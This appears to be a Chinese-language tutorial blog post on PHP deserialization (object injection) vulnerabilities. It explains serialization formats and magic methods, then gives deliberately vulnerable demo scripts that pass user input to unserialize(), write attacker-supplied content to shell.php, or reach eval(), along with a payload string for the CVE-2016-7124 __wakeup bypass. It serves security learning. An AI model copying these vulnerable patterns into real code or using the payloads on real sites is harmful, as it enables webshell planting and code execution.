php反序列化小結

做一個白日夢想家發表於2020-12-13

PHP反序列化

  • 又稱php物件注入漏洞

序列化與反序列化

  • php序列化有兩個函式serialize()unserialize()

  • 序列化是物件序列化,物件是一種在記憶體中儲存的資料型別,壽命是隨生成該物件的程式的終止而終止,為了持久使用物件的狀態,將其通過serialize()函式進行序列化為一行字串儲存為檔案,使用時再用unserialize()反序列化為物件

  • 序列化後的格式

    bool
    b:value
    b:0 //false
    b:1 //true  b代表bool型,冒號後面是值
    整數
    i:value
    i:1
    i:-1   // i代表裡型別
    字元
    s:length:"value";
    s:4:"aaaa"; //s是字串  4代表長度
    NULL
    N;
    陣列
    a:<length>:{key, value pairs};
    a:1:{i:1;s:1:"a";}
    物件
    O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
    O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
序列化測試
  • serialize():產生一個可儲存的值的表示,把這個物件轉變成一個字串,儲存物件的值方便之後的傳遞與使用。測試程式碼如下;
  <?php 
      class Amire0x{
          var $test = '123';
      }
  
      $a = new Amire0x();
      print_r(serialize($a));
      echo "<br>";
      $b = 'O:7:"Amire0x":1:{s:4:"test";s:3:"123";}';
	print_r(unserialize($b));
  ?>

結果

在這裡插入圖片描述

  • 註釋
  0:表示儲存的是物件
  7:表示物件名稱有7個字元
  "Amire0x":表示物件的名稱
  1:表示有1個值
  {s:4:"test";s:3:"123";}
  s:表示字串
  4:表示長度
  "test":表示名稱

反序列化漏洞

PHP物件常見魔術方法
  • construct()
    建立(new)時會自動呼叫。但在unserialize()時是不會自動呼叫的。

  • __destruct()
    物件被銷燬的時候呼叫

  • __toString()
    物件被當作一個字串使用時候呼叫(不僅僅是echo的時候,比如file_exists()判斷也會觸發)

  • __sleep()
    序列化物件之前就呼叫此方法(其返回需要是一個陣列)

  • __wakeup()
    反序列化恢復物件之前就呼叫此方法,unserialize()時會自動呼叫

  • __call()
    當呼叫物件中不存在的方法會自動呼叫此方法

  • __callStatic()

    在靜態上下文中呼叫不可訪問的方法時觸發

漏洞測試

當傳給 unserialize() 的引數可控時,我們可以通過傳入一個精心構造的序列化字串,從而控制物件內部的變數甚至是函式。

  • 特性測試
  <?php
  class Amire0x{
  	var $test = '123';
  	function __wakeup(){
  		echo "__wakeup";
  		echo "</br>";
  	}
  	function __construct(){
  		echo "__construct";
  		echo "</br>";
  	}
  	function __destruct(){
  		echo "__destruct";
  		echo "</br>";
  	}
  }
  $class2 = 'O:7:"Amire0x":1:{s:4:"test";s:3:"123";}';
  	print_r($class2);
  echo "</br>";
  $class2_unser = unserialize($class2);
  print_r($class2_unser);
  echo "</br>";
  ?>

執行後

在這裡插入圖片描述

可以看到,unserialize()後會導致__wakeup() 的直接呼叫,中間無需其他過程。由此,可以知道有一些漏洞或危險程式碼在這個函式,然後控制序列化字串去直接觸發它們

  • __wakeup()復現一下

    基本的思路是,本地搭建好環境,通過 serialize() 得到我們要的序列化字串,之後再傳進去。通過原始碼知,把物件中的test值賦為 <?php phpinfo(); ?>,再呼叫unserialize()時會通過__wakeup()把test的寫入到shell.php中。為此我們寫個php指令碼:

  <?php
  class Amire0x{
  	var $test = 'aaa';
  	function __wakeup(){
  		$fp = fopen("shell.php","w") ;
  		fwrite($fp,$this->test);
  		fclose($fp);
  	}
  }
  $class3 = new Amire0x();
  $class3->test = $_GET['test'];
  $class3 = serialize($class3);
  print_r($class3);
  echo "</br>";
  $class3_unser = unserialize($class3);
  require "shell.php";
  // 為顯示效果,把這個shell.php包含進來
  ?>
  • 得到結果

在這裡插入圖片描述

  • __construct(),一次unserialize()中並不會直接呼叫的魔術函式,有時候反序列化一個物件時,由它呼叫的__wakeup()中又去呼叫了其他的物件,由此可以溯源而上,找到漏洞點。

  • 如程式碼

  <?php
  class Am0x{
  	function __construct($test){
  		$fp = fopen("shell.php","w") ;
  		fwrite($fp,$test);
  		fclose($fp);
  	}
  }
  class Amire0x{
  	var $test = '123';
  	function __wakeup(){
  		$obj = new Am0x($this->test);
  	}
  }
  $class5 = $_GET['test'];
  print_r($class5);
  echo "</br>";
  $class5_unser = unserialize($class5);
  require "shell.php";
  ?>

這裡我們給test傳入構造好的序列化字串後,進行反序列化時自動呼叫 __wakeup()函式,從而在new Am0x()會自動呼叫物件Am0x中的__construct()方法,從而把<?php phpinfo() ?>寫入到 shell.php中。

  • 利用普通成員,如
  <?php
  class Amire0x {
      var $test;
      function __construct() {
          $this->test = new Am0x();
      }
      function __destruct() {
          $this->test->action();
      }
  }
  class Am0x {
      function action() {
          echo "Am0x";
      }
  }
  class Am0x2 {
      var $test2;
      function action() {
          eval($this->test2);
      }
  }
  $class6 = new Amire0x();
  unserialize($_GET['test']);
  ?>

本意上,new一個新的Amire0x物件後,呼叫__construct(),其中又new了Am0x物件。在結束後會呼叫__destruct(),其中會呼叫action(),從而輸出 Am0x。

__wakeup()繞過

  • CVE-2016-7124漏洞,當序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行

  • 反序列化可以控制類屬性,無論是private還是public

  • 測試原始碼

    <?php
        error_reporting(0);
        class Amire0x{
            public $test =  'abc';
            function __destruct(){
                if(!empty($this->test)){
                    if($this->test == 'abc')
                        echo "Congratulations!";
                }
            }
            function __wakeup(){
                $this->test = 'You failed buddy!';
                echo "$this->test";
            }
            public function __toString(){
                return '';
            }
        }
        if(!isset($_GET['answer'])){
            show_source('1.php');
        }else{
            $answer = $_GET['answer'];
            echo $answer;
            echo '<br>';
            echo unserialize($answer);
        }
    
    ?>
    

    嘗試構造answer

    O:7:"Amire0x":1:{s:4:"test";s:3:"abc";}

    失敗,未繞過

    在這裡插入圖片描述

    改變物件的值

    O:7:"Amire0x":2:{s:4:"test";s:3:"abc";}

在這裡插入圖片描述

參考

參考1
參考2

相關文章